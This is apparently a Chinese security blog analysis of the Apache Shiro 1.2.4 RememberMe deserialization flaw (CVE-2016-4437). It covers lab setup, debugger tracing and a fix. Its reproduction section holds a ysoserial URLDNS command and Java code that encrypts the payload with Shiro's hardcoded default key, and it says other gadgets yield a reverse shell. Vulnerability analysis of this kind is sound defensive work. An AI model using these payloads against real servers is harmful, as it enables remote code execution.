影响范围

Apache Shiro <=1.2.4(由于密钥泄露的问题, 部分高于1.2.4版本的Shiro也会受到影响)

漏洞类型

反序列化导致RCE

漏洞概述

Apache Shiro 是ASF旗下的一款开源软件,它提供了一个强大而灵活的安全框架,提供身份验证、授权、密码学和会话管理。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中,攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令~

漏洞分析

环境搭建

下载漏洞文件:

git clone https://github.com/apache/shiro.git  
cd shiro
git checkout shiro-root-1.2.4


导入IDEA:

修改pom.xml文件,添加以下依赖项(否则无法识别jsp标签):

<dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>taglibs</groupId>
            <artifactId>standard</artifactId>
            <version>1.1.2</version>
            <scope>runtime</scope>
        </dependency>

之后部署该项目,首先添加本地tomcat环境:

之后添加项目到Tomcat:

之后启动Tomcat,在浏览器中访问项目:


至此,环境搭建完成~

Issues分析

官方给出以下Issues:https://issues.apache.org/jira/browse/SHIRO-550

从上面可以了解到,在默认情况下Shiro会使用CookieRememberMeManager功能,当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:

  1. 检索cookie中RememberMe的值
  2. Base64解码
  3. 使用AES解密
  4. 反序列化
    由于AES加解密的秘钥被硬编码在代码中,这意味着有权访问源代码的任何人都知道默认加密密钥是什么,因此,攻击者可以创建一个恶意对象并对其进行序列化,编码,然后将其作为cookie发送,然后Shiro将解码并反序列化,从而导致恶意代码执行~

动态调试分析

定位漏洞文件

鉴于Issues的描述,我们跟踪RememberMeManager到shiro\shiro-core\1.2.4\shiro-core-1.2.4.jar!\org\apache\shiro\mgt\RememberMeManager.class中,发现其中并没有硬编码的加密密钥:

于是,跟踪其父类AbstractRememberMeManager查看,发现经过base64硬编码的秘钥,因为 AES 是对称加密,即加密密钥也同样是解密密钥:

之后继续向上跟踪查看AbstractRememberMeManager类需要实现RememberMeManager接口有哪些:登陆认证(成功、失败)、退出登录

设置RememberMe

基于issues中当来自未经身份验证的用户的请求时,才会涉及:检索cookie中RememberMe的值、Base64解码、使用AES解密 、反序列化操作,所以不妨直接在AbstractRememberMeManager的onSuccessfulLogin处下断点,之后使用初始化的用户模拟未经身份验证的用户进行登录操作,先来跟踪一下RememberMe的生成流程:

之后点击debug开启Tomcat服务:

之后点击页面的Log in进入登录认证页面,使用系统用户root/secret进行登录,并勾选"Remember Me"(这一点非常非常重要),之后点击"Login"进行登录:

之后成功来到我们的断点处:

此处的forgetIdentity主要用来初始化构造一些请求和响应的字段:

之后调用重载方法forgetIdentity设置cookie与常见的一些字段:



之后判断this.isRememberMe(token)是否为空,由于我们在登陆认证时勾选了rememberme的选项框所以这里不为空,会继续走到rememberIdentity函数中,而该函数重要用于生成cookie中的remember的值,也是该漏洞的关键点,我们继续跟进:

之后继续跟进该函数,可以看到rememberIdentity函数首先会调用getIdentityToRemember函数来获取用户身份,也就是"root":

接着我们跟进rememberIdentity构造方法,从函数命名上来看这里会将用户的身份也就是"root"转换成字节,我们下面跟进看看:

序列化操作

从下面的代码中可以看到,此出会对principals(即:root)进行一次序列化操作,之后当CipherService即加密服务不为空的情况下会进行一次加密操作:

之后跟进该序列化操作,可以看到序列化的类为PrincipalCollection:

最终在DefaultSerializer类中的serialize方法中完成序列化操作:

AES加密操作

之后跟进加密操作函数encrypt:

encrypt函数中通过getCipherService来获取当前的加密方式,之后使用GetEncryptionCipherKey来获取加密秘钥,可以看到这里使用的加密方式为AES/CBC/PKCS5Padding,之后通过cipherService.encrypt来实现对root的加密:

跟进getEncryptionCipherKey函数发现,发现encryptionCipherKey为常量值:

而在该类的构造函数中会调用this.setCipherKey对encryptionCipherKey进行初始化赋值操作,而初始化参数为DEFAULT_CIPHER_KEY_BYTES,所以这里AES的加密解密秘钥由DEFAULT_CIPHER_KEY_BYTES指定:

之后就是一些加密操作了,我们直接一路F8跳过即可,之后返回rememberIdentity

Base64编码

之后跟进rememberSerializedIdentity函数,在此处会将序列化后的cookie进行base64编码,之后再将base64编码后的cookie信息进行存储:

设置cookie

之后调用saveTo方法保存cookie


至此,正向的Cookie的生成方式分析完毕,下面反向跟踪分析Cookie中Remember的解析过程,也是最终触发反序列化的过程~

检索RememberMe

使用burpsuite构造以下请求并在shiro\shiro-core\1.2.4\shiro-core-1.2.4.jar!\org\apache\shiro\mgt\AbstractRememberMeManager.class的getRememberedIdentity处下断点进行调试,之后跟进getRememberedPrincipals:

下面的getRememberSerializedIdentity主要用于提取cookie并进行base64解码操作,而convertBytesToPrincipals主要用于AES解密:

之后跟进getRememberedSerializedIdentity,在此处会调用getCookie来检索Cookie:

之后跟进getCookie函数,此时返回为空:

之后再次跟进readValue函数,此时进行取cookie操作:

Base64解密

之后回到getRememberedSerializedIdentity函数中继续往下分析,之后会对cookie进行一次base64解密操作:

最后以字节数组的形式返回bas64解密后的cookie值:

之后回到getRememberedPrincipals函数,接着会进入到convertBytesToPrincipals函数中,进行AES解密和反序列化:

跟进convertBytesToPrincipals函数,可以看到此处会先进行AES解密,之后将解密的结果反序列化后返回:

AES解密

下面跟进decrypt方法,可以看到此处会继续调用cipherService.decrypt:

下面继续跟进,最终调用decrypt函数:

之后返回AES解密后的数据:

反序列化操作

之后进入到deserialize中,继续跟进:


最后会进入到进DefaultSerializer类的deserialize函数,并在此处调用readobject完成反序列化操作,从而触发反序列化操作:

漏洞复现

这里提供一种较为简单通用的漏洞检测方式——Ysoserial的URLDNS这个Gadget + DNSLog,因为URLDNS这一个Gadget不依赖于任何第三方依赖,只与JDK底层相关,该利用链如下所示,这里就不再展开了,有兴趣的可以了解一下:

HashMap.readObject() 
    -> HashMap.hash() 
        -> URL.hashCode() 
            -> URLStreamHandler.hashCode() 
                -> URLStreamHandler.getHostAddress()

下面是漏洞复现的具体的操作流程:

生成Gadget

首先,使用Ysoserial来生成URLDNS的Gadget:

java -jar ysoserial.jar URLDNS "http://eamhcf.dnslog.cn" > poc.ser

AES加密操作

使用JAVA实现对Gadget进行一次AES加密处理:

package ysoserial;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;

import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(Paths.get("C:\\Users\\Hepta\\Desktop\\ysoserial\\poc.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

Base64加密处理

发送恶意请求

一段时间后得到回显:

DNSLog接收到请求:

由此,确定漏洞的存在~
PS:在实战中如果需要反弹shell时可以使用Ysoserial的其他Gadget,之后进行AES加密、Base64加密,然后构造特定的请求即可,这里这对该漏洞做一个简要的分析与检测,深入利用不再赘述,有兴趣的可以去了解一下~

漏洞修复

Shiro 版本至 1.2.5 以上

参考链接

https://issues.apache.org/jira/browse/SHIRO-550
https://vulhub.org/#/environments/shiro/CVE-2016-4437/
https://paper.seebug.org/shiro-rememberme-1-2-4/
http://saucer-man.com/information_security/396.html
https://www.cnblogs.com/panisme/p/12552838.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4437
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖